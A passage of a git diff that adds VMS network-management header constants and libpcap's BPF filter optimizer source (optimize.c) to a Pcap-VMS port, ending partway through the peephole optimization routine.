NMA$C_SOFD_KDZ 30 /* KMC11/DZ11-A, -B, -C, or -D asynchronous line multiplexer */ +#define NMA$C_SOFD_UEC 31 /* Univation/RAINBOW-100 CSMA/CD communication link */ +#define NMA$C_SOFD_KL8 32 /* KL8-J (OBSOLETE) */ +#define NMA$C_SOFD_DS2 33 /* LANCE/DECserver 200 CSMA/CD communication link */ +#define NMA$C_SOFD_DMV 34 /* DMV11 interprocessor link */ +#define NMA$C_SOFD_DS5 35 /* DECserver 500 CSMA/CD communication link */ +#define NMA$C_SOFD_DPV 36 /* DPV11 synchronous line interface */ +#define NMA$C_SOFD_LQA 37 /* DELQA CSMA/CD communication link */ +#define NMA$C_SOFD_DMF 38 /* DMF32 synchronous line unit */ +#define NMA$C_SOFD_SVA 39 /* DESVA CSMA/CD communication link */ +#define NMA$C_SOFD_DMR 40 /* DMR11-AA, -AB, -AC, or -AE interprocessor link */ +#define NMA$C_SOFD_MUX 41 /* MUXserver 100 CSMA/CD communication link */ +#define NMA$C_SOFD_KMY 42 /* KMS11-PX synchronous line interface with X.25 Level 2 microcode */ +#define NMA$C_SOFD_DEP 43 /* DEPCA PCSG/IBM-PC CSMA/CD communication link */ +#define NMA$C_SOFD_KMX 44 /* KMS11-BD/BE synchronous line interface with X.25 Level 2 microcode */ +#define NMA$C_SOFD_LTM 45 /* LTM (911) Ethernet monitor */ +#define NMA$C_SOFD_DMB 46 /* DMB-32 BI synchronous line multiplexer */ +#define NMA$C_SOFD_DES 47 /* DESNC Ethernet Encryption Module */ +#define NMA$C_SOFD_KCP 48 /* KCP synchronous/asynchronous line */ +#define NMA$C_SOFD_MX3 49 /* MUXServer 300 CSMA/CD communication link */ +#define NMA$C_SOFD_SYN 50 /* MicroServer synchronous line interface */ +#define NMA$C_SOFD_MEB 51 /* DEMEB multiport bridge CSMA/CD communication link */ +#define NMA$C_SOFD_DSB 52 /* DSB32 BI synchronous line interface */ +#define NMA$C_SOFD_BAM 53 /* DEBAM LANBridge-200 Data Link */ +#define NMA$C_SOFD_DST 54 /* DST-32 TEAMmate synchronous line interface (DEC423) */ +#define NMA$C_SOFD_FAT 55 /* DEFAT DataKit Server CSMA/CD communication link */ +#define NMA$C_SOFD_RSM 56 /* DERSM - Remote Segment Monitor */ +#define NMA$C_SOFD_RES 57 /* DERES - Remote Environmental Sensor */ +#define NMA$C_SOFD_3C2 58 /* 3COM Etherlink II (part number 3C503) */ +#define NMA$C_SOFD_3CM 59 /* 3COM Etherlink/MC (part number 3C523) */ +#define NMA$C_SOFD_DS3 60 /* DECServer 300 CSMA/CD communication link */ +#define NMA$C_SOFD_MF2 61 /* Mayfair-2 CSMA/CD communication link */ +#define NMA$C_SOFD_MMR 62 /* DEMMR Ethernet Multiport Manageable Repeater */ +#define NMA$C_SOFD_VIT 63 /* Vitalink TransLAN III/IV (NP3A) Bridge */ +#define NMA$C_SOFD_VT5 64 /* Vitalink TransLAN 350 (NPC25) Bridge */ +#define NMA$C_SOFD_BNI 65 /* DEBNI BI CSMA/CD communication link */ +#define NMA$C_SOFD_MNA 66 /* DEMNA XMI CSMA/CD communication link */ +#define NMA$C_SOFD_PMX 67 /* PMAX (KN01) CSMA/CD communication link */ +#define NMA$C_SOFD_NI5 68 /* Interlan NI5210-8 CSMA/CD comm link for IBM PC XT/AT */ +#define NMA$C_SOFD_NI9 69 /* Interlan NI9210 CSMA/CD comm link for IBM PS/2 */ +#define NMA$C_SOFD_KMK 70 /* KMS11-K DataKit UNIBUS adapter */ +#define NMA$C_SOFD_3CP 71 /* Etherlink Plus (part number 3C505) */ +#define NMA$C_SOFD_DP2 72 /* DPNserver-200 CSMA/CD communication link */ +#define NMA$C_SOFD_ISA 73 /* SGEC CSMA/CD communication link */ +#define NMA$C_SOFD_DIV 74 /* DIV-32 DEC WAN controller-100 */ +#define NMA$C_SOFD_QTA 75 /* DEQTA CSMA/CD communication link */ +#define NMA$C_SOFD_DSF 101 /* DSF32 2 line sync comm link for Cirrus */ +#define NMA$C_SOFD_KFE 104 /* KFE52 CSMA/CD comm link for Cirrus */ +/* */ +#define NMA$_SUCCESS 1 /* Unqualified success */ +#define NMA$_SUCCFLDRPL 9 /* Success with field replaced */ +#define NMA$_BADFID 0 /* Invalid field id code */ +#define NMA$_BADDAT 8 /* Invalid data format */ +#define NMA$_BADOPR 16 /* Invalid operation */ +#define NMA$_BUFTOOSMALL 24 /* Buffer too small */ +#define NMA$_FLDNOTFND 32 /* Field not found */ +/* */ +#define NMA$C_OPN_MIN 0 /* Minimum ! */ +#define NMA$C_OPN_NODE 0 /* Nodes */ +#define NMA$C_OPN_LINE 1 /* Lines */ +#define NMA$C_OPN_LOG 2 /* Logging */ +#define NMA$C_OPN_OBJ 3 /* Object */ +#define NMA$C_OPN_CIR 4 /* Circuit */ +#define NMA$C_OPN_X25 5 /* Module X25 */ +#define NMA$C_OPN_X29 6 /* Module X29 */ +#define NMA$C_OPN_CNF 7 /* Module Configurator */ +#define NMA$C_OPN_MAX 7 /* Maximum ! permanent database files */ +#define NMA$C_OPN_ALL 127 /* All opened files */ +/* */ +#define NMA$C_OPN_AC_RO 0 /* Read Only */ +#define NMA$C_OPN_AC_RW 1 /* Read write */ +/* */ +#define NMA$C_FN2_DLL 2 /* Down line load */ +#define NMA$C_FN2_ULD 3 /* Upline Dump */ +#define NMA$C_FN2_TRI 4 /* Trigger remote bootstrap */ +#define NMA$C_FN2_LOO 5 /* Loop back test */ +#define NMA$C_FN2_TES 6 /* Send test message to be looped */ +#define NMA$C_FN2_SET 7 /* Set parameter */ +#define NMA$C_FN2_REA 8 /* Read Parameter */ +#define NMA$C_FN2_ZER 9 /* Zero counters */ +#define NMA$C_FN2_LNS 14 /* Line service */ +/* */ +#define NMA$C_OP2_CHNST 5 /* Node operational status */ +#define NMA$C_OP2_CHLST 8 /* Line operational status */ +/* */ +#define NMA$C_OP2_RENCT 0 /* Local node counters */ +#define NMA$C_OP2_RENST 1 /* local node status */ +#define NMA$C_OP2_RELCT 4 /* Line counters */ +#define NMA$C_OP2_RELST 5 /* Line status */ +/* */ +#define NMA$C_OP2_ZENCT 0 /* Local Node counters */ +#define NMA$C_OP2_ZELCT 2 /* Line counters */ +/* */ +#define NMA$C_EN2_KNO 0 /* Known lines */ +#define NMA$C_EN2_LID 1 /* Line id */ +#define NMA$C_EN2_LCN 2 /* Line convenience name */ +/* */ +#define NMA$C_STS_SUC 1 /* Success */ +#define NMA$C_STS_MOR 2 /* Request accepted, more to come */ +#define NMA$C_STS_PAR 3 /* Partial reply */ +/* */ +#define NMA$C_STS_DON -128 /* Done */ +/* */ +#define NMA$C_STS_FUN -1 /* Unrecognized function or option */ +#define NMA$C_STS_INV -2 /* Invalid message format */ +#define NMA$C_STS_PRI -3 /* Privilege violation */ +#define NMA$C_STS_SIZ -4 /* Oversized management command message */ +#define NMA$C_STS_MPR -5 /* Network management program error */ +#define NMA$C_STS_PTY -6 /* Unrecognized parameter type */ +#define NMA$C_STS_MVE -7 /* Incompatible management version */ +#define NMA$C_STS_CMP -8 /* Unrecognised component */ +#define NMA$C_STS_IDE -9 /* Invalid identification format */ +#define NMA$C_STS_LCO -10 /* Line communication error */ +#define NMA$C_STS_STA -11 /* Component in wrong state */ +#define NMA$C_STS_FOP -13 /* File open error */ +#define NMA$C_STS_FCO -14 /* Invalid file contents */ +#define NMA$C_STS_RES -15 /* Resource error */ +#define NMA$C_STS_PVA -16 /* Invalid parameter value */ +#define NMA$C_STS_LPR -17 /* Line protocol error */ +#define NMA$C_STS_FIO -18 /* File i/o error */ +#define NMA$C_STS_MLD -19 /* Mirror link disconnected */ +#define NMA$C_STS_ROO -20 /* No room for new entry */ +#define NMA$C_STS_MCF -21 /* Mirror connect failed */ +#define NMA$C_STS_PNA -22 /* Parameter not applicable */ +#define NMA$C_STS_PLO -23 /* Parameter value too long */ +#define NMA$C_STS_HAR -24 /* Hardware failure */ +#define NMA$C_STS_OPE -25 /* Operation failure */ +#define NMA$C_STS_SYS -26 /* System-specific management */ +/* function not supported */ +#define NMA$C_STS_PGP -27 /* Invalid parameter grouping */ +#define NMA$C_STS_BLR -28 /* Bad loopback response */ +#define NMA$C_STS_PMS -29 /* Parameter missing */ +/* */ +#define NMA$C_STS_ALI -127 /* Invalid alias identification */ +#define NMA$C_STS_OBJ -126 /* Invalid object identification */ +#define NMA$C_STS_PRO -125 /* Invalid process identification */ +#define NMA$C_STS_LNK -124 /* Invalid link identification */ +/* */ +#define NMA$C_FOPDTL_PDB 0 /* Permanent database */ +#define NMA$C_FOPDTL_LFL 1 /* Load file */ +#define NMA$C_FOPDTL_DFL 2 /* Dump file */ +#define NMA$C_FOPDTL_SLF 3 /* Secondary loader */ +#define NMA$C_FOPDTL_TLF 4 /* Tertiary loader */ +#define NMA$C_FOPDTL_SDF 5 /* Secondary dumper */ +#define NMA$C_FOPDTL_PDR 6 /* Permanent Database,on remote node */ +#define NMA$C_FOPDTL_MFL 7 /* Management file */ +/* */ +#define NMA$C_NCEDTL_NNA 0 /* No node name set */ +#define NMA$C_NCEDTL_INN 1 /* Invalid node name format */ +#define NMA$C_NCEDTL_UNA 2 /* Unrecognised node name */ +#define NMA$C_NCEDTL_UNR 3 /* Node unreachable */ +#define NMA$C_NCEDTL_RSC 4 /* Network resources */ +#define NMA$C_NCEDTL_RJC 5 /* Rejected by object */ +#define NMA$C_NCEDTL_ONA 6 /* Invalid object name format */ +#define NMA$C_NCEDTL_OBJ 7 /* Unrecognised object */ +#define NMA$C_NCEDTL_ACC 8 /* Access control rejected */ +#define NMA$C_NCEDTL_BSY 9 /* Object too busy */ +#define NMA$C_NCEDTL_NRS 10 /* No response from object */ +#define NMA$C_NCEDTL_NSD 11 /* Node shut down */ +#define NMA$C_NCEDTL_DIE 12 /* Node or object failed */ +#define NMA$C_NCEDTL_DIS 13 /* Disconnect by object */ +#define NMA$C_NCEDTL_ABO 14 /* Abort by object */ +#define NMA$C_NCEDTL_ABM 15 /* Abort by management */ +/* */ +#define NMA$C_OPEDTL_DCH 0 /* Data check */ +#define NMA$C_OPEDTL_TIM 1 /* Timeout */ +#define NMA$C_OPEDTL_ORN 2 /* Data overrun */ +#define NMA$C_OPEDTL_ACT 3 /* Unit is active */ +#define NMA$C_OPEDTL_BAF 4 /* Buffer allocation failure */ +#define NMA$C_OPEDTL_RUN 5 /* Protocol running */ +#define NMA$C_OPEDTL_DSC 6 /* Line disconnected */ +#define NMA$C_OPEDTL_FTL 8 /* Fatal hardware error */ +#define NMA$C_OPEDTL_MNT 11 /* DDCMP maintainance message received */ +#define NMA$C_OPEDTL_LST 12 /* Data lost due to buffer size mismatch */ +#define NMA$C_OPEDTL_THR 13 /* Threshold error */ +#define NMA$C_OPEDTL_TRB 14 /* Tributary malfunction */ +#define NMA$C_OPEDTL_STA 15 /* DDCMP start message received */ +union NMADEF7 { + char NMADEF$$_FILL_18; /* byte of flags */ + struct { + unsigned NMADEF$$_FILL_19 : 2; /* skip bits 0,1 */ + unsigned NMA$V_CTLIN_TUN : 1; /* transmit underrun */ + unsigned NMADEF$$_FILL_20 : 1; /* skip bit 3 */ + unsigned NMA$V_CTLIN_RUN : 1; /* receive underrun */ + unsigned NMA$V_CTLIN_FMR : 1; /* FRMR received */ + unsigned NMA$V_FILL_9 : 2; + } NMA$R_FILL_18_BITS; +/* */ +/* VMS-specific line counters */ +/* */ +/* 1 Message rejected */ +/* 2 Message truncated */ +/* 3 Receiver offline */ +/* 4 Receiver busy */ +/* 5 Transmitter offline */ +/* 1 CRC error on transmit */ +/* 2 CRC error on receive */ +/* 3 Timeouts */ +/* 4 Non-existant memory transmit */ +/* 5 Non-existant memory receive */ +/* 6 Buffer to small */ +/* 7 Failed to open channel */ +/* 8 Memory overflow */ +/* 2 Now master */ +/* */ +/* Node counters */ +/* */ +/* Server Base Specific Executor Node Counters */ +/* */ +/* X.25 Protocol module counters */ +/* */ +/* X.25 Server module counters */ +/* */ +/* Coded parameter values */ +/* */ +/* */ +/* Loop test block type coded values */ +/* */ +/* Default values for loop functions */ +/* */ +/* Values for LOOP HELP */ +/* */ +/* State coded values */ +/* */ +/* circuit/line/process specific state values */ +/* */ +/* logging specific state values */ +/* */ +/* node specific state values */ +/* */ +/* */ +/* Default value for EXECUTOR MAXIMUM ADDRESS. */ +/* Note: DNA Network Management does not specify a default. */ +/* This is defined for VMS only, for compatibility with */ +/* previous releases that used a hard coded value in */ +/* [NETACP.SRC]NETCONFIG.MAR. */ +/* */ +/* */ +/* */ +/* Looper/loader assistance coded values */ +/* */ +/* Configurator surveillance coded values */ +/* */ +/* Circuit/Line substate coded values */ +/* */ +/* Circuit type coded values [In V2, line type coded values] */ +/* */ +/* Circuit/Line Service */ +/* */ +/* Circuit polling state */ +/* */ +/* Circuit blocking values */ +/* */ +/* Circuit usage values */ +/* */ +/* Circuit parameter, Handshake Required */ +/* */ +/* Circuit maximum receive buffers */ +/* */ +/* Circuit verification [VMS only] */ +/* */ +/* Circuit (desired) transport type [VMS only] */ +/* */ +/* Line duplex coded values */ +/* */ +/* Line controller mode */ +/* */ +/* Line protocol values (same as CIRTY_) */ +/* */ +/* Character encoding */ +/* */ +/* Line protocol values for the PCL-11B */ +/* */ +/* Line clock values */ +/* */ +/* Line packet format types */ +/* */ +/* Line services */ +/* */ +/* Line Switch states */ +/* */ +/* Line Hangup state */ +/* */ +/* Line Restart state */ +/* */ +/* Line type coded values [V2 only] */ +/* */ +/* Line multicast address function code [VMS datalink only]. */ +/* Destination and physical address function codes too [VMS datalink only]. */ +/* */ +/* NI line protocol access mode [VMS datalink only] */ +/* */ +/* PCL-11B address mode */ +/* */ +/* X.25 line mode */ +/* */ +/* X.25 server redirect reason */ +/* */ +/* Node type values */ +/* */ +/* Node inbound states */ +/* */ +/* Node password values */ +/* */ +/* Node CPU type codes */ +/* */ +/* Service node version coded values */ +/* */ +/* Node software type code */ +/* */ +/* Node access (and default access) codes */ +/* */ +/* Executor Alias incoming values */ +/* */ +/* Object alias outgoing */ +/* */ +/* Object alias incoming */ +/* */ +/* Executor Proxy */ +/* */ +/* Path Split Policy */ +/* */ +/* X.25 Protocol type values */ +/* */ +/* X.25 protocol state values */ +/* */ +/* X.25 protocol multi-network support flag */ +/* */ +/* X.25 protocol DTE substate values */ +/* */ +/* X21 literals */ +/* */ +/* Months of the Year Codes */ +/* */ +/* Service device codes (MOP) */ +/* */ +/* Status codes for field support routines */ +/* */ +/* Permanent database file ID codes */ +/* */ +/* Open access codes */ +/* */ +/* Define Phase II NICE function codes */ +/* */ +/* Change parameters (volatile only) */ +/* */ +/* Read Information (Status and Counters only) */ +/* */ +/* Zero counters */ +/* */ +/* Line entity codes */ +/* */ +/* NML Return codes */ +/* */ +/* Error details */ +/* */ +/* */ +/* STS_FOP and STS_FIO */ +/* */ +/* STS_MLD, STS_MCF */ +/* */ +/* STS_OPE */ +/* */ + } ; + +#pragma __member_alignment __restore diff --git a/Pcap-VMS/pcap-vci/optimize.c b/Pcap-VMS/pcap-vci/optimize.c new file mode 100644 index 00000000..52c2ee31 --- /dev/null +++ b/Pcap-VMS/pcap-vci/optimize.c @@ -0,0 +1,2156 @@ +/* + * Copyright (c) 1988, 1989, 1990, 1991, 1993, 1994, 1995, 1996 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * Optimization module for tcpdump intermediate representation. + */ +#ifndef lint +static const char rcsid[] = + "@(#) $Header: /tcpdump/master/libpcap/optimize.c,v 1.75 2002/08/12 02:38:11 itojun Exp $ (LBL)"; +#endif + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include +#include +#include + +#include + +#include "pcap-int.h" + +#include "gencode.h" + +#ifdef VMS +#include "pcap-vms.h" +#endif + +#ifdef HAVE_OS_PROTO_H +#include "os-proto.h" +#endif + +#ifdef BDEBUG +extern int dflag; +#endif + +#define A_ATOM BPF_MEMWORDS +#define X_ATOM (BPF_MEMWORDS+1) + +#define NOP -1 + +/* + * This define is used to represent *both* the accumulator and + * x register in use-def computations. + * Currently, the use-def code assumes only one definition per instruction. + */ +#define AX_ATOM N_ATOMS + +/* + * A flag to indicate that further optimization is needed. + * Iterative passes are continued until a given pass yields no + * branch movement. + */ +static int done; + +/* + * A block is marked if only if its mark equals the current mark. + * Rather than traverse the code array, marking each item, 'cur_mark' is + * incremented. This automatically makes each element unmarked. + */ +static int cur_mark; +#define isMarked(p) ((p)->mark == cur_mark) +#define unMarkAll() cur_mark += 1 +#define Mark(p) ((p)->mark = cur_mark) + +static void opt_init(struct block *); +static void opt_cleanup(void); + +static void make_marks(struct block *); +static void mark_code(struct block *); + +static void intern_blocks(struct block *); + +static int eq_slist(struct slist *, struct slist *); + +static void find_levels_r(struct block *); + +static void find_levels(struct block *); +static void find_dom(struct block *); +static void propedom(struct edge *); +static void find_edom(struct block *); +static void find_closure(struct block *); +static int atomuse(struct stmt *); +static int atomdef(struct stmt *); +static void compute_local_ud(struct block *); +static void find_ud(struct block *); +static void init_val(void); +static int F(int, int, int); +static inline void vstore(struct stmt *, int *, int, int); +static void opt_blk(struct block *, int); +static int use_conflict(struct block *, struct block *); +static void opt_j(struct edge *); +static void or_pullup(struct block *); +static void and_pullup(struct block *); +static void opt_blks(struct block *, int); +static inline void link_inedge(struct edge *, struct block *); +static void find_inedges(struct block *); +static void opt_root(struct block **); +static void opt_loop(struct block *, int); +static void fold_op(struct stmt *, int, int); +static inline struct slist *this_op(struct slist *); +static void opt_not(struct block *); +static void opt_peep(struct block *); +static void opt_stmt(struct stmt *, int[], int); +static void deadstmt(struct stmt *, struct stmt *[]); +static void opt_deadstores(struct block *); +static struct block *fold_edge(struct block *, struct edge *); +static inline int eq_blk(struct block *, struct block *); +static int slength(struct slist *); +static int count_blocks(struct block *); +static void number_blks_r(struct block *); +static int count_stmts(struct block *); +static int convert_code_r(struct block *); +#ifdef BDEBUG +static void opt_dump(struct block *); +#endif + +static int n_blocks; +struct block **blocks; +static int n_edges; +struct edge **edges; + +/* + * A bit vector set representation of the dominators. + * We round up the set size to the next power of two. + */ +static int nodewords; +static int edgewords; +struct block **levels; +bpf_u_int32 *space; +#define BITS_PER_WORD (8*sizeof(bpf_u_int32)) +/* + * True if a is in uset {p} + */ +#define SET_MEMBER(p, a) \ +((p)[(unsigned)(a) / BITS_PER_WORD] & (1 << ((unsigned)(a) % BITS_PER_WORD))) + +/* + * Add 'a' to uset p. + */ +#define SET_INSERT(p, a) \ +(p)[(unsigned)(a) / BITS_PER_WORD] |= (1 << ((unsigned)(a) % BITS_PER_WORD)) + +/* + * Delete 'a' from uset p. + */ +#define SET_DELETE(p, a) \ +(p)[(unsigned)(a) / BITS_PER_WORD] &= ~(1 << ((unsigned)(a) % BITS_PER_WORD)) + +/* + * a := a intersect b + */ +#define SET_INTERSECT(a, b, n)\ +{\ + register bpf_u_int32 *_x = a, *_y = b;\ + register int _n = n;\ + while (--_n >= 0) *_x++ &= *_y++;\ +} + +/* + * a := a - b + */ +#define SET_SUBTRACT(a, b, n)\ +{\ + register bpf_u_int32 *_x = a, *_y = b;\ + register int _n = n;\ + while (--_n >= 0) *_x++ &=~ *_y++;\ +} + +/* + * a := a union b + */ +#define SET_UNION(a, b, n)\ +{\ + register bpf_u_int32 *_x = a, *_y = b;\ + register int _n = n;\ + while (--_n >= 0) *_x++ |= *_y++;\ +} + +static uset all_dom_sets; +static uset all_closure_sets; +static uset all_edge_sets; + +#ifndef MAX +#define MAX(a,b) ((a)>(b)?(a):(b)) +#endif + +static void +find_levels_r(b) + struct block *b; +{ + int level; + + if (isMarked(b)) + return; + + Mark(b); + b->link = 0; + + if (JT(b)) { + find_levels_r(JT(b)); + find_levels_r(JF(b)); + level = MAX(JT(b)->level, JF(b)->level) + 1; + } else + level = 0; + b->level = level; + b->link = levels[level]; + levels[level] = b; +} + +/* + * Level graph. The levels go from 0 at the leaves to + * N_LEVELS at the root. The levels[] array points to the + * first node of the level list, whose elements are linked + * with the 'link' field of the struct block. + */ +static void +find_levels(root) + struct block *root; +{ + memset((char *)levels, 0, n_blocks * sizeof(*levels)); + unMarkAll(); + find_levels_r(root); +} + +/* + * Find dominator relationships. + * Assumes graph has been leveled. + */ +static void +find_dom(root) + struct block *root; +{ + int i; + struct block *b; + bpf_u_int32 *x; + + /* + * Initialize sets to contain all nodes. + */ + x = all_dom_sets; + i = n_blocks * nodewords; + while (--i >= 0) + *x++ = ~0; + /* Root starts off empty. */ + for (i = nodewords; --i >= 0;) + root->dom[i] = 0; + + /* root->level is the highest level no found. */ + for (i = root->level; i >= 0; --i) { + for (b = levels[i]; b; b = b->link) { + SET_INSERT(b->dom, b->id); + if (JT(b) == 0) + continue; + SET_INTERSECT(JT(b)->dom, b->dom, nodewords); + SET_INTERSECT(JF(b)->dom, b->dom, nodewords); + } + } +} + +static void +propedom(ep) + struct edge *ep; +{ + SET_INSERT(ep->edom, ep->id); + if (ep->succ) { + SET_INTERSECT(ep->succ->et.edom, ep->edom, edgewords); + SET_INTERSECT(ep->succ->ef.edom, ep->edom, edgewords); + } +} + +/* + * Compute edge dominators. + * Assumes graph has been leveled and predecessors established. + */ +static void +find_edom(root) + struct block *root; +{ + int i; + uset x; + struct block *b; + + x = all_edge_sets; + for (i = n_edges * edgewords; --i >= 0; ) + x[i] = ~0; + + /* root->level is the highest level no found. */ + memset(root->et.edom, 0, edgewords * sizeof(*(uset)0)); + memset(root->ef.edom, 0, edgewords * sizeof(*(uset)0)); + for (i = root->level; i >= 0; --i) { + for (b = levels[i]; b != 0; b = b->link) { + propedom(&b->et); + propedom(&b->ef); + } + } +} + +/* + * Find the backwards transitive closure of the flow graph. These sets + * are backwards in the sense that we find the set of nodes that reach + * a given node, not the set of nodes that can be reached by a node. + * + * Assumes graph has been leveled. + */ +static void +find_closure(root) + struct block *root; +{ + int i; + struct block *b; + + /* + * Initialize sets to contain no nodes. + */ + memset((char *)all_closure_sets, 0, + n_blocks * nodewords * sizeof(*all_closure_sets)); + + /* root->level is the highest level no found. */ + for (i = root->level; i >= 0; --i) { + for (b = levels[i]; b; b = b->link) { + SET_INSERT(b->closure, b->id); + if (JT(b) == 0) + continue; + SET_UNION(JT(b)->closure, b->closure, nodewords); + SET_UNION(JF(b)->closure, b->closure, nodewords); + } + } +} + +/* + * Return the register number that is used by s. If A and X are both + * used, return AX_ATOM. If no register is used, return -1. + * + * The implementation should probably change to an array access. + */ +static int +atomuse(s) + struct stmt *s; +{ + register int c = s->code; + + if (c == NOP) + return -1; + + switch (BPF_CLASS(c)) { + + case BPF_RET: + return (BPF_RVAL(c) == BPF_A) ? A_ATOM : + (BPF_RVAL(c) == BPF_X) ? X_ATOM : -1; + + case BPF_LD: + case BPF_LDX: + return (BPF_MODE(c) == BPF_IND) ? X_ATOM : + (BPF_MODE(c) == BPF_MEM) ? s->k : -1; + + case BPF_ST: + return A_ATOM; + + case BPF_STX: + return X_ATOM; + + case BPF_JMP: + case BPF_ALU: + if (BPF_SRC(c) == BPF_X) + return AX_ATOM; + return A_ATOM; + + case BPF_MISC: + return BPF_MISCOP(c) == BPF_TXA ? X_ATOM : A_ATOM; + } + abort(); + /* NOTREACHED */ +} + +/* + * Return the register number that is defined by 's'. We assume that + * a single stmt cannot define more than one register. If no register + * is defined, return -1. + * + * The implementation should probably change to an array access. + */ +static int +atomdef(s) + struct stmt *s; +{ + if (s->code == NOP) + return -1; + + switch (BPF_CLASS(s->code)) { + + case BPF_LD: + case BPF_ALU: + return A_ATOM; + + case BPF_LDX: + return X_ATOM; + + case BPF_ST: + case BPF_STX: + return s->k; + + case BPF_MISC: + return BPF_MISCOP(s->code) == BPF_TAX ? X_ATOM : A_ATOM; + } + return -1; +} + +static void +compute_local_ud(b) + struct block *b; +{ + struct slist *s; + atomset def = 0, use = 0, kill = 0; + int atom; + + for (s = b->stmts; s; s = s->next) { + if (s->s.code == NOP) + continue; + atom = atomuse(&s->s); + if (atom >= 0) { + if (atom == AX_ATOM) { + if (!ATOMELEM(def, X_ATOM)) + use |= ATOMMASK(X_ATOM); + if (!ATOMELEM(def, A_ATOM)) + use |= ATOMMASK(A_ATOM); + } + else if (atom < N_ATOMS) { + if (!ATOMELEM(def, atom)) + use |= ATOMMASK(atom); + } + else + abort(); + } + atom = atomdef(&s->s); + if (atom >= 0) { + if (!ATOMELEM(use, atom)) + kill |= ATOMMASK(atom); + def |= ATOMMASK(atom); + } + } + if (!ATOMELEM(def, A_ATOM) && BPF_CLASS(b->s.code) == BPF_JMP) + use |= ATOMMASK(A_ATOM); + + b->def = def; + b->kill = kill; + b->in_use = use; +} + +/* + * Assume graph is already leveled. + */ +static void +find_ud(root) + struct block *root; +{ + int i, maxlevel; + struct block *p; + + /* + * root->level is the highest level no found; + * count down from there. + */ + maxlevel = root->level; + for (i = maxlevel; i >= 0; --i) + for (p = levels[i]; p; p = p->link) { + compute_local_ud(p); + p->out_use = 0; + } + + for (i = 1; i <= maxlevel; ++i) { + for (p = levels[i]; p; p = p->link) { + p->out_use |= JT(p)->in_use | JF(p)->in_use; + p->in_use |= p->out_use &~ p->kill; + } + } +} + +/* + * These data structures are used in a Cocke and Shwarz style + * value numbering scheme. Since the flowgraph is acyclic, + * exit values can be propagated from a node's predecessors + * provided it is uniquely defined. + */ +struct valnode { + int code; + int v0, v1; + int val; + struct valnode *next; +}; + +#define MODULUS 213 +static struct valnode *hashtbl[MODULUS]; +static int curval; +static int maxval; + +/* Integer constants mapped with the load immediate opcode. */ +#define K(i) F(BPF_LD|BPF_IMM|BPF_W, i, 0L) + +struct vmapinfo { + int is_const; + bpf_int32 const_val; +}; + +struct vmapinfo *vmap; +struct valnode *vnode_base; +struct valnode *next_vnode; + +static void +init_val() +{ + curval = 0; + next_vnode = vnode_base; + memset((char *)vmap, 0, maxval * sizeof(*vmap)); + memset((char *)hashtbl, 0, sizeof hashtbl); +} + +/* Because we really don't have an IR, this stuff is a little messy. */ +static int +F(code, v0, v1) + int code; + int v0, v1; +{ + u_int hash; + int val; + struct valnode *p; + + hash = (u_int)code ^ (v0 << 4) ^ (v1 << 8); + hash %= MODULUS; + + for (p = hashtbl[hash]; p; p = p->next) + if (p->code == code && p->v0 == v0 && p->v1 == v1) + return p->val; + + val = ++curval; + if (BPF_MODE(code) == BPF_IMM && + (BPF_CLASS(code) == BPF_LD || BPF_CLASS(code) == BPF_LDX)) { + vmap[val].const_val = v0; + vmap[val].is_const = 1; + } + p = next_vnode++; + p->val = val; + p->code = code; + p->v0 = v0; + p->v1 = v1; + p->next = hashtbl[hash]; + hashtbl[hash] = p; + + return val; +} + +static inline void +vstore(s, valp, newval, alter) + struct stmt *s; + int *valp; + int newval; + int alter; +{ + if (alter && *valp == newval) + s->code = NOP; + else + *valp = newval; +} + +static void +fold_op(s, v0, v1) + struct stmt *s; + int v0, v1; +{ + bpf_int32 a, b; + + a = vmap[v0].const_val; + b = vmap[v1].const_val; + + switch (BPF_OP(s->code)) { + case BPF_ADD: + a += b; + break; + + case BPF_SUB: + a -= b; + break; + + case BPF_MUL: + a *= b; + break; + + case BPF_DIV: + if (b == 0) + bpf_error("division by zero"); + a /= b; + break; + + case BPF_AND: + a &= b; + break; + + case BPF_OR: + a |= b; + break; + + case BPF_LSH: + a <<= b; + break; + + case BPF_RSH: + a >>= b; + break; + + case BPF_NEG: + a = -a; + break; + + default: + abort(); + } + s->k = a; + s->code = BPF_LD|BPF_IMM; + done = 0; +} + +static inline struct slist * +this_op(s) + struct slist *s; +{ + while (s != 0 && s->s.code == NOP) + s = s->next; + return s; +} + +static void +opt_not(b) + struct block *b; +{ + struct block *tmp = JT(b); + + JT(b) = JF(b); + JF(b) = tmp; +} + +static void +opt_peep(b) + struct block *b; +{ + struct slist *s; + struct slist *next, *last; + int val; + + s = b->stmts; + if (s == 0) + return; + + last = s; + for (/*empty*/; /*empty*/; s = next) { + s = this_op(s); + if (s == 0) + break; + next = this_op(s->next); + if (next == 0) + break; + last = next; + + /* + * st M[k] --> st M[k] + * ldx M[k] tax + */ + if (s->s.code == BPF_ST && + next->s.code == (BPF_LDX|BPF_MEM) && + s->s.k == next->s.k) { + done = 0; + next->s.code = BPF_MISC|BPF_TAX; + } + /* + * ld #k --> ldx #k + * tax txa + */ + if (s->s.code == (BPF_LD|BPF_IMM) && + next->s.code == (BPF_MISC|BPF_TAX)) { + s->s.code = BPF_LDX|BPF_IMM; + next->s.code = BPF_MISC|BPF_TXA; + done = 0; + } + /* + * This is an ugly special case, but it happens + * when you say tcp[k] or udp[k] where k is a constant. + */ + if (s->s.code == (BPF_LD|BPF_IMM)) { + struct slist *add, *tax, *ild; + + /* + * Check that X isn't used on exit from this + * block (which the optimizer might cause). + * We know the code generator won't generate + * any local dependencies. + */ + if (ATOMELEM(b->out_use, X_ATOM)) + continue; + + if (next->s.code != (BPF_LDX|BPF_MSH|BPF_B)) + add = next; + else + add = this_op(next->next); + if (add == 0 || add->s.code != (BPF_ALU|BPF_ADD|BPF_X)) + continue; + + tax = this_op(add->next); 